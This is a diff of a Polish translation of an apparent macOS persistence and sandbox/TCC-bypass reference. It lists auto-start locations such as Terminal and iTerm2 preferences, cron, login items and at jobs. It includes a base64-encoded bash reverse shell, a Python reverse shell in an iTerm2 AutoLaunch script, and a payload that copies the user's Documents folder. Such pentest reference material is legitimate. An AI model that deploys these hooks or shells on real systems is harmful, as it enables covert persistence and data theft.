**`~/Library/Preferences`** przechowywane są preferencje użytkownika w Aplikacjach. Niektóre z tych preferencji mogą zawierać konfigurację do **wykonywania innych aplikacji/skryptów**. -For example, the Terminal can execute a command in the Startup: +Na przykład, Terminal może wykonać polecenie przy uruchomieniu:
-This config is reflected in the file **`~/Library/Preferences/com.apple.Terminal.plist`** like this: - +Ta konfiguracja jest odzwierciedlona w pliku **`~/Library/Preferences/com.apple.Terminal.plist`** w ten sposób: ```bash [...] "Window Settings" => { - "Basic" => { - "CommandString" => "touch /tmp/terminal_pwn" - "Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } - "FontAntialias" => 1 - "FontWidthSpacing" => 1.004032258064516 - "name" => "Basic" - "ProfileCurrentVersion" => 2.07 - "RunCommandAsShell" => 0 - "type" => "Window Settings" - } +"Basic" => { +"CommandString" => "touch /tmp/terminal_pwn" +"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf } +"FontAntialias" => 1 +"FontWidthSpacing" => 1.004032258064516 +"name" => "Basic" +"ProfileCurrentVersion" => 2.07 +"RunCommandAsShell" => 0 +"type" => "Window Settings" +} [...] ``` +Więc, jeśli plist preferencji terminala w systemie może być nadpisany, to funkcjonalność **`open`** może być użyta do **otwarcia terminala i wykonania tego polecenia**. -So, if the plist of the preferences of the terminal in the system could be overwritten, the the **`open`** functionality can be used to **open the terminal and that command will be executed**. - -You can add this from the cli with: - +Możesz to dodać z poziomu cli za pomocą: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist @@ -245,24 +232,22 @@ You can add this from the cli with: # Remove /usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist ``` +### Terminal Scripts / Inne rozszerzenia plików -### Terminal Scripts / Other file extensions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Terminal używa uprawnień FDA użytkownika, który go używa -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - Terminal use to have FDA permissions of the user use it +#### Lokalizacja -#### Location +- **Gdziekolwiek** +- **Wyzwalacz**: Otwórz Terminal -- **Anywhere** - - **Trigger**: Open Terminal +#### Opis i Eksploatacja -#### Description & Exploitation - -If you create a [**`.terminal`** script](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) and opens, the **Terminal application** will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges. - -Try it with: +Jeśli stworzysz [**`.terminal`** skrypt](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) i go otworzysz, **aplikacja Terminal** zostanie automatycznie wywołana do wykonania wskazanych tam poleceń. Jeśli aplikacja Terminal ma jakieś specjalne uprawnienia (takie jak TCC), twoje polecenie zostanie wykonane z tymi specjalnymi uprawnieniami. +Spróbuj to z: ```bash # Prepare the payload cat > /tmp/test.terminal << EOF @@ -270,16 +255,16 @@ cat > /tmp/test.terminal << EOF - CommandString - mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; - ProfileCurrentVersion - 2.0600000000000001 - RunCommandAsShell - - name - exploit - type - Window Settings +CommandString +mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents; +ProfileCurrentVersion +2.0600000000000001 +RunCommandAsShell + +name +exploit +type +Window Settings EOF @@ -290,48 +275,47 @@ open /tmp/test.terminal # Use something like the following for a reverse shell: echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash; ``` - -You could also use the extensions **`.command`**, **`.tool`**, with regular shell scripts content and they will be also opened by Terminal. +Możesz również użyć rozszerzeń **`.command`**, **`.tool`**, z zawartością zwykłych skryptów powłoki, a będą one również otwierane przez Terminal. > [!CAUTION] -> If terminal has **Full Disk Access** it will be able to complete that action (note that the command executed will be visible in a terminal window). +> Jeśli terminal ma **Pełny dostęp do dysku**, będzie w stanie wykonać tę akcję (zauważ, że polecenie wykonane będzie widoczne w oknie terminala). -### Audio Plugins +### Wtyczki audio Writeup: [https://theevilbit.github.io/beyond/beyond_0013/](https://theevilbit.github.io/beyond/beyond_0013/)\ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Możesz uzyskać dodatkowy dostęp do TCC -#### Location +#### Lokalizacja - **`/Library/Audio/Plug-Ins/HAL`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Wymagany root +- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer - **`/Library/Audio/Plug-ins/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Wymagany root +- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer - **`~/Library/Audio/Plug-ins/Components`** - - **Trigger**: Restart coreaudiod or the computer +- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer - **`/System/Library/Components`** - - Root required - - **Trigger**: Restart coreaudiod or the computer +- Wymagany root +- **Wyzwalacz**: Uruchom ponownie coreaudiod lub komputer -#### Description +#### Opis -According to the previous writeups it's possible to **compile some audio plugins** and get them loaded. +Zgodnie z wcześniejszymi opisami możliwe jest **kompilowanie niektórych wtyczek audio** i załadowanie ich. -### QuickLook Plugins +### Wtyczki QuickLook Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.github.io/beyond/beyond_0028/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🟠](https://emojipedia.org/large-orange-circle) - - You might get some extra TCC access +- Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [🟠](https://emojipedia.org/large-orange-circle) +- Możesz uzyskać dodatkowy dostęp do TCC -#### Location +#### Lokalizacja - `/System/Library/QuickLook` - `/Library/QuickLook` @@ -339,29 +323,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0028/](https://theevilbit.g - `/Applications/AppNameHere/Contents/Library/QuickLook/` - `~/Applications/AppNameHere/Contents/Library/QuickLook/` -#### Description & Exploitation +#### Opis i eksploatacja -QuickLook plugins can be executed when you **trigger the preview of a file** (press space bar with the file selected in Finder) and a **plugin supporting that file type** is installed. +Wtyczki QuickLook mogą być wykonywane, gdy **wyzwolisz podgląd pliku** (naciśnij spację z wybranym plikiem w Finderze) i zainstalowana jest **wtyczka obsługująca ten typ pliku**. -It's possible to compile your own QuickLook plugin, place it in one of the previous locations to load it and then go to a supported file and press space to trigger it. +Możliwe jest skompilowanie własnej wtyczki QuickLook, umieszczenie jej w jednej z wcześniejszych lokalizacji, aby ją załadować, a następnie przejście do obsługiwanego pliku i naciśnięcie spacji, aby ją wyzwolić. -### ~~Login/Logout Hooks~~ +### ~~Hooki logowania/wylogowania~~ > [!CAUTION] -> This didn't work for me, neither with the user LoginHook nor with the root LogoutHook +> To nie zadziałało dla mnie, ani z LoginHook użytkownika, ani z LogoutHook roota **Writeup**: [https://theevilbit.github.io/beyond/beyond_0022/](https://theevilbit.github.io/beyond/beyond_0022/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia piaskownicy: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja -- You need to be able to execute something like `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` - - `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` - -They are deprecated but can be used to execute commands when a user logs in. +- Musisz być w stanie wykonać coś takiego jak `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` +- `Lo`cated in `~/Library/Preferences/com.apple.loginwindow.plist` +Są przestarzałe, ale mogą być używane do wykonywania poleceń, gdy użytkownik się loguje. ```bash cat > $HOME/hook.sh << EOF #!/bin/bash @@ -371,97 +354,85 @@ chmod +x $HOME/hook.sh defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh ``` - -This setting is stored in `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` - +To ustawienie jest przechowywane w `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist` ```bash defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist { - LoginHook = "/Users/username/hook.sh"; - LogoutHook = "/Users/username/hook.sh"; - MiniBuddyLaunch = 0; - TALLogoutReason = "Shut Down"; - TALLogoutSavesState = 0; - oneTimeSSMigrationComplete = 1; +LoginHook = "/Users/username/hook.sh"; +LogoutHook = "/Users/username/hook.sh"; +MiniBuddyLaunch = 0; +TALLogoutReason = "Shut Down"; +TALLogoutSavesState = 0; +oneTimeSSMigrationComplete = 1; } ``` - -To delete it: - +Aby to usunąć: ```bash defaults delete com.apple.loginwindow LoginHook defaults delete com.apple.loginwindow LogoutHook ``` +Użytkownik root jest przechowywany w **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** -The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** - -## Conditional Sandbox Bypass +## Warunkowe Ominięcie Sandboxa > [!TIP] -> Here you can find start locations useful for **sandbox bypass** that allows you to simply execute something by **writing it into a file** and **expecting not super common conditions** like specific **programs installed, "uncommon" user** actions or environments. +> Tutaj możesz znaleźć lokalizacje startowe przydatne do **ominięcia sandboxa**, które pozwalają na proste wykonanie czegoś poprzez **zapisanie tego w pliku** i **oczekiwanie na nie super powszechne warunki**, takie jak konkretne **zainstalowane programy, "niezwykłe" działania użytkowników** lub środowiska. ### Cron -**Writeup**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) +**Opis**: [https://theevilbit.github.io/beyond/beyond_0004/](https://theevilbit.github.io/beyond/beyond_0004/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - However, you need to be able to execute `crontab` binary - - Or be root -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do ominięcia sandboxa: [✅](https://emojipedia.org/check-mark-button) +- Jednak musisz być w stanie wykonać binarny plik `crontab` +- Lub być rootem +- Ominięcie TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja - **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`** - - Root required for direct write access. No root required if you can execute `crontab ` - - **Trigger**: Depends on the cron job +- Wymagany root do bezpośredniego dostępu do zapisu. Nie jest wymagany root, jeśli możesz wykonać `crontab ` +- **Wyzwalacz**: Zależy od zadania cron -#### Description & Exploitation - -List the cron jobs of the **current user** with: +#### Opis i Wykorzystanie +Wylistuj zadania cron **bieżącego użytkownika** za pomocą: ```bash crontab -l ``` +Możesz również zobaczyć wszystkie zadania cron użytkowników w **`/usr/lib/cron/tabs/`** i **`/var/at/tabs/`** (wymaga uprawnień roota). -You can also see all the cron jobs of the users in **`/usr/lib/cron/tabs/`** and **`/var/at/tabs/`** (needs root). - -In MacOS several folders executing scripts with **certain frequency** can be found in: - +W MacOS można znaleźć kilka folderów wykonujących skrypty z **określoną częstotliwością** w: ```bash # The one with the cron jobs is /usr/lib/cron/tabs/ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/ ``` +Można tam znaleźć regularne **cron** **zadania**, **at** **zadania** (niezbyt używane) oraz **zadania** **okresowe** (głównie używane do czyszczenia plików tymczasowych). Codzienne zadania okresowe można wykonać na przykład za pomocą: `periodic daily`. -There you can find the regular **cron** **jobs**, the **at** **jobs** (not very used) and the **periodic** **jobs** (mainly used for cleaning temporary files). The daily periodic jobs can be executed for example with: `periodic daily`. - -To add a **user cronjob programatically** it's possible to use: - +Aby dodać **zadanie cron użytkownika programowo**, można użyć: ```bash echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron crontab /tmp/cron ``` - ### iTerm2 Writeup: [https://theevilbit.github.io/beyond/beyond_0002/](https://theevilbit.github.io/beyond/beyond_0002/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - iTerm2 use to have granted TCC permissions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- iTerm2 miało przyznane uprawnienia TCC -#### Locations +#### Lokalizacje - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** - - **Trigger**: Open iTerm +- **Wyzwalacz**: Otwórz iTerm - **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** - - **Trigger**: Open iTerm +- **Wyzwalacz**: Otwórz iTerm - **`~/Library/Preferences/com.googlecode.iterm2.plist`** - - **Trigger**: Open iTerm +- **Wyzwalacz**: Otwórz iTerm -#### Description & Exploitation - -Scripts stored in **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** will be executed. For example: +#### Opis i Eksploatacja +Skrypty przechowywane w **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** będą wykonywane. Na przykład: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF #!/bin/bash @@ -470,52 +441,44 @@ EOF chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" ``` - -or: - +lub: ```bash cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF #!/usr/bin/env python3 import iterm2,socket,subprocess,os async def main(connection): - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); - async with iterm2.CustomControlSequenceMonitor( - connection, "shared-secret", r'^create-window$') as mon: - while True: - match = await mon.async_get() - await iterm2.Window.async_create(connection) +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']); +async with iterm2.CustomControlSequenceMonitor( +connection, "shared-secret", r'^create-window$') as mon: +while True: +match = await mon.async_get() +await iterm2.Window.async_create(connection) iterm2.run_forever(main) EOF ``` - -The script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** will also be executed: - +Skrypt **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** również zostanie wykonany: ```bash do shell script "touch /tmp/iterm2-autolaunchscpt" ``` +Preferencje iTerm2 znajdujące się w **`~/Library/Preferences/com.googlecode.iterm2.plist`** mogą **wskazywać polecenie do wykonania** po otwarciu terminala iTerm2. -The iTerm2 preferences located in **`~/Library/Preferences/com.googlecode.iterm2.plist`** can **indicate a command to execute** when the iTerm2 terminal is opened. - -This setting can be configured in the iTerm2 settings: +To ustawienie można skonfigurować w ustawieniach iTerm2:
-And the command is reflected in the preferences: - +A polecenie jest odzwierciedlone w preferencjach: ```bash plutil -p com.googlecode.iterm2.plist { - [...] - "New Bookmarks" => [ - 0 => { - [...] - "Initial Text" => "touch /tmp/iterm-start-command" +[...] +"New Bookmarks" => [ +0 => { +[...] +"Initial Text" => "touch /tmp/iterm-start-command" ``` - -You can set the command to execute with: - +Możesz ustawić polecenie do wykonania za pomocą: ```bash # Add /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist @@ -526,28 +489,26 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2 # Remove /usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist ``` - > [!WARNING] -> Highly probable there are **other ways to abuse the iTerm2 preferences** to execute arbitrary commands. +> Wysoce prawdopodobne, że istnieją **inne sposoby nadużycia preferencji iTerm2** do wykonywania dowolnych poleceń. ### xbar Writeup: [https://theevilbit.github.io/beyond/beyond_0007/](https://theevilbit.github.io/beyond/beyond_0007/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But xbar must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale xbar musi być zainstalowany +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Wymaga uprawnień dostępu do funkcji ułatwień dostępu -#### Location +#### Lokalizacja - **`~/Library/Application\ Support/xbar/plugins/`** - - **Trigger**: Once xbar is executed +- **Wyzwalacz**: Po uruchomieniu xbar -#### Description - -If the popular program [**xbar**](https://github.com/matryer/xbar) is installed, it's possible to write a shell script in **`~/Library/Application\ Support/xbar/plugins/`** which will be executed when xbar is started: +#### Opis +Jeśli popularny program [**xbar**](https://github.com/matryer/xbar) jest zainstalowany, możliwe jest napisanie skryptu powłoki w **`~/Library/Application\ Support/xbar/plugins/`**, który zostanie wykonany po uruchomieniu xbar: ```bash cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF #!/bin/bash @@ -555,79 +516,76 @@ touch /tmp/xbar EOF chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh" ``` - ### Hammerspoon **Writeup**: [https://theevilbit.github.io/beyond/beyond_0008/](https://theevilbit.github.io/beyond/beyond_0008/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Hammerspoon must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Accessibility permissions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale Hammerspoon musi być zainstalowany +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Wymaga uprawnień dostępu #### Location - **`~/.hammerspoon/init.lua`** - - **Trigger**: Once hammerspoon is executed +- **Trigger**: Po uruchomieniu hammerspoon #### Description -[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) serves as an automation platform for **macOS**, leveraging the **LUA scripting language** for its operations. Notably, it supports the integration of complete AppleScript code and the execution of shell scripts, enhancing its scripting capabilities significantly. - -The app looks for a single file, `~/.hammerspoon/init.lua`, and when started the script will be executed. +[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) służy jako platforma automatyzacji dla **macOS**, wykorzystując **język skryptowy LUA** do swoich operacji. Co ważne, wspiera integrację pełnego kodu AppleScript oraz wykonywanie skryptów powłoki, znacznie zwiększając swoje możliwości skryptowe. +Aplikacja szuka pojedynczego pliku, `~/.hammerspoon/init.lua`, a po uruchomieniu skrypt zostanie wykonany. ```bash mkdir -p "$HOME/.hammerspoon" cat > "$HOME/.hammerspoon/init.lua" << EOF hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2") EOF ``` - ### BetterTouchTool -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But BetterTouchTool must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation-Shortcuts and Accessibility permissions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale BetterTouchTool musi być zainstalowany +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Wymaga uprawnień do Automatyzacji-Skrótów i Dostępności #### Location - `~/Library/Application Support/BetterTouchTool/*` -This tool allows to indicate applications or scripts to execute when some shortcuts are pressed . An attacker might be able configure his own **shortcut and action to execute in the database** to make it execute arbitrary code (a shortcut could be to just to press a key). +To narzędzie pozwala wskazać aplikacje lub skrypty do wykonania, gdy naciśnięte zostaną niektóre skróty. Atakujący może skonfigurować własny **skrót i akcję do wykonania w bazie danych**, aby uruchomić dowolny kod (skrót może polegać po prostu na naciśnięciu klawisza). ### Alfred -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But Alfred must be installed -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - It requests Automation, Accessibility and even Full-Disk access permissions +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale Alfred musi być zainstalowany +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Wymaga uprawnień do Automatyzacji, Dostępności, a nawet Pełnego Dostępu do Dysku #### Location - `???` -It allows to create workflows that can execute code when certain conditions are met. Potentially it's possible for an attacker to create a workflow file and make Alfred load it (it's needed to pay the premium version to use workflows). +Pozwala na tworzenie przepływów pracy, które mogą wykonywać kod, gdy spełnione są określone warunki. Potencjalnie atakujący może stworzyć plik przepływu pracy i sprawić, aby Alfred go załadował (konieczne jest opłacenie wersji premium, aby korzystać z przepływów pracy). ### SSHRC Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.github.io/beyond/beyond_0006/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But ssh needs to be enabled and used -- TCC bypass: [✅](https://emojipedia.org/check-mark-button) - - SSH use to have FDA access +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale ssh musi być włączone i używane +- Obejście TCC: [✅](https://emojipedia.org/check-mark-button) +- Użycie SSH wymaga dostępu FDA #### Location - **`~/.ssh/rc`** - - **Trigger**: Login via ssh +- **Trigger**: Logowanie przez ssh - **`/etc/ssh/sshrc`** - - Root required - - **Trigger**: Login via ssh +- Wymagany root +- **Trigger**: Logowanie przez ssh > [!CAUTION] -> To turn ssh on requres Full Disk Access: +> Aby włączyć ssh, wymagany jest Pełny Dostęp do Dysku: > > ```bash > sudo systemsetup -setremotelogin on @@ -635,30 +593,29 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0006/](https://theevilbit.g #### Description & Exploitation -By default, unless `PermitUserRC no` in `/etc/ssh/sshd_config`, when a user **logins via SSH** the scripts **`/etc/ssh/sshrc`** and **`~/.ssh/rc`** will be executed. +Domyślnie, chyba że `PermitUserRC no` w `/etc/ssh/sshd_config`, gdy użytkownik **loguje się przez SSH**, skrypty **`/etc/ssh/sshrc`** i **`~/.ssh/rc`** będą wykonywane. ### **Login Items** Writeup: [https://theevilbit.github.io/beyond/beyond_0003/](https://theevilbit.github.io/beyond/beyond_0003/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to execute `osascript` with args -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale musisz wykonać `osascript` z argumentami +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) #### Locations - **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** - - **Trigger:** Login - - Exploit payload stored calling **`osascript`** +- **Trigger:** Logowanie +- Payload exploitu przechowywany w wywołaniu **`osascript`** - **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** - - **Trigger:** Login - - Root required +- **Trigger:** Logowanie +- Wymagany root #### Description -In System Preferences -> Users & Groups -> **Login Items** you can find **items to be executed when the user logs in**.\ -It it's possible to list them, add and remove from the command line: - +W Preferencjach Systemowych -> Użytkownicy i Grupy -> **Elementy logowania** możesz znaleźć **elementy do wykonania, gdy użytkownik się loguje**.\ +Możliwe jest ich wylistowanie, dodawanie i usuwanie z linii poleceń: ```bash #List all items: osascript -e 'tell application "System Events" to get the name of every login item' @@ -669,57 +626,49 @@ osascript -e 'tell application "System Events" to make login item at end with pr #Remove an item: osascript -e 'tell application "System Events" to delete login item "itemname"' ``` +Te elementy są przechowywane w pliku **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** -These items are stored in the file **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`** +**Elementy logowania** mogą **również** być wskazane przy użyciu API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc), które zapisze konfigurację w **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** -**Login items** can **also** be indicated in using the API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) which will store the configuration in **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`** +### ZIP jako Element Logowania -### ZIP as Login Item +(Sprawdź poprzednią sekcję o Elementach Logowania, to jest rozszerzenie) -(Check previous section about Login Items, this is an extension) +Jeśli przechowasz plik **ZIP** jako **Element Logowania**, **`Archive Utility`** go otworzy, a jeśli zip był na przykład przechowywany w **`~/Library`** i zawierał folder **`LaunchAgents/file.plist`** z backdoorem, ten folder zostanie utworzony (nie jest to domyślne) i plist zostanie dodany, więc następnym razem, gdy użytkownik się zaloguje, **backdoor wskazany w plist zostanie wykonany**. -If you store a **ZIP** file as a **Login Item** the **`Archive Utility`** will open it and if the zip was for example stored in **`~/Library`** and contained the Folder **`LaunchAgents/file.plist`** with a backdoor, that folder will be created (it isn't by default) and the plist will be added so the next time the user logs in again, the **backdoor indicated in the plist will be executed**. - -Another options would be to create the files **`.bash_profile`** and **`.zshenv`** inside the user HOME so if the folder LaunchAgents already exist this technique would still work. +Inną opcją byłoby utworzenie plików **`.bash_profile`** i **`.zshenv`** w katalogu domowym użytkownika, więc jeśli folder LaunchAgents już istnieje, ta technika nadal będzie działać. ### At -Writeup: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) +Opis: [https://theevilbit.github.io/beyond/beyond_0014/](https://theevilbit.github.io/beyond/beyond_0014/) -- Useful to bypass sandbox: [✅](https://emojipedia.org/check-mark-button) - - But you need to **execute** **`at`** and it must be **enabled** -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- Przydatne do obejścia sandbox: [✅](https://emojipedia.org/check-mark-button) +- Ale musisz **wykonać** **`at`** i musi być **włączone** +- Obejście TCC: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### Lokalizacja -- Need to **execute** **`at`** and it must be **enabled** +- Musisz **wykonać** **`at`** i musi być **włączone** -#### **Description** +#### **Opis** -`at` tasks are designed for **scheduling one-time tasks** to be executed at certain times. Unlike cron jobs, `at` tasks are automatically removed post-execution. It's crucial to note that these tasks are persistent across system reboots, marking them as potential security concerns under certain conditions. - -By **default** they are **disabled** but the **root** user can **enable** **them** with: +Zadania `at` są zaprojektowane do **planowania jednorazowych zadań** do wykonania w określonych czasach. W przeciwieństwie do zadań cron, zadania `at` są automatycznie usuwane po wykonaniu. Ważne jest, aby zauważyć, że te zadania są trwałe po ponownym uruchomieniu systemu, co czyni je potencjalnymi zagrożeniami bezpieczeństwa w określonych warunkach. +Domyślnie są **wyłączone**, ale użytkownik **root** może **je włączyć** za pomocą: ```bash sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist ``` - -This will create a file in 1 hour: - +To stworzy plik za 1 godzinę: ```bash echo "echo 11 > /tmp/at.txt" | at now+1 ``` - -Check the job queue using `atq:` - +Sprawdź kolejkę zadań za pomocą `atq:` ```shell-session sh-3.2# atq 26 Tue Apr 27 00:46:00 2021 22 Wed Apr 28 00:29:00 2021 ``` - -Above we can see two jobs scheduled. We can print the details of the job using `at -c JOBNUMBER` - +Powyżej widzimy dwa zaplanowane zadania. Możemy wydrukować szczegóły zadania używając `at -c JOBNUMBER` ```shell-session sh-3.2# at -c 26 #!/bin/sh @@ -744,18 +693,16 @@ LC_CTYPE=UTF-8; export LC_CTYPE SUDO_GID=20; export SUDO_GID _=/usr/bin/at; export _ cd /Users/csaby || { - echo 'Execution directory inaccessible' >&2 - exit 1 +echo 'Execution directory inaccessible' >&2 +exit 1 } unset OLDPWD echo 11 > /tmp/at.txt ``` - > [!WARNING] -> If AT tasks aren't enabled the created tasks won't be executed. - -The **job files** can be found at `/private/var/at/jobs/` +> Jeśli zadania AT nie są włączone, utworzone zadania nie będą wykonywane. +Pliki **zadania** można znaleźć w `/private/var/at/jobs/` ``` sh-3.2# ls -l /private/var/at/jobs/ total 32 @@ -764,46 +711,44 @@ total 32 -r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2 -rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2 ``` +Nazwa pliku zawiera kolejkę, numer zadania i czas, w którym ma być uruchomione. Na przykład, przyjrzyjmy się `a0001a019bdcd2`. -The filename contains the queue, the job number, and the time it’s scheduled to run. For example let’s take a loot at `a0001a019bdcd2`. +- `a` - to jest kolejka +- `0001a` - numer zadania w systemie szesnastkowym, `0x1a = 26` +- `019bdcd2` - czas w systemie szesnastkowym. Reprezentuje minuty, które upłynęły od epoki. `0x019bdcd2` to `26991826` w systemie dziesiętnym. Jeśli pomnożymy to przez 60, otrzymujemy `1619509560`, co odpowiada `GMT: 2021. April 27., Tuesday 7:46:00`. -- `a` - this is the queue -- `0001a` - job number in hex, `0x1a = 26` -- `019bdcd2` - time in hex. It represents the minutes passed since epoch. `0x019bdcd2` is `26991826` in decimal. If we multiply it by 60 we get `1619509560`, which is `GMT: 2021. April 27., Tuesday 7:46:00`. - -If we print the job file, we find that it contains the same information we got using `at -c`. +Jeśli wydrukujemy plik zadania, odkryjemy, że zawiera te same informacje, które uzyskaliśmy za pomocą `at 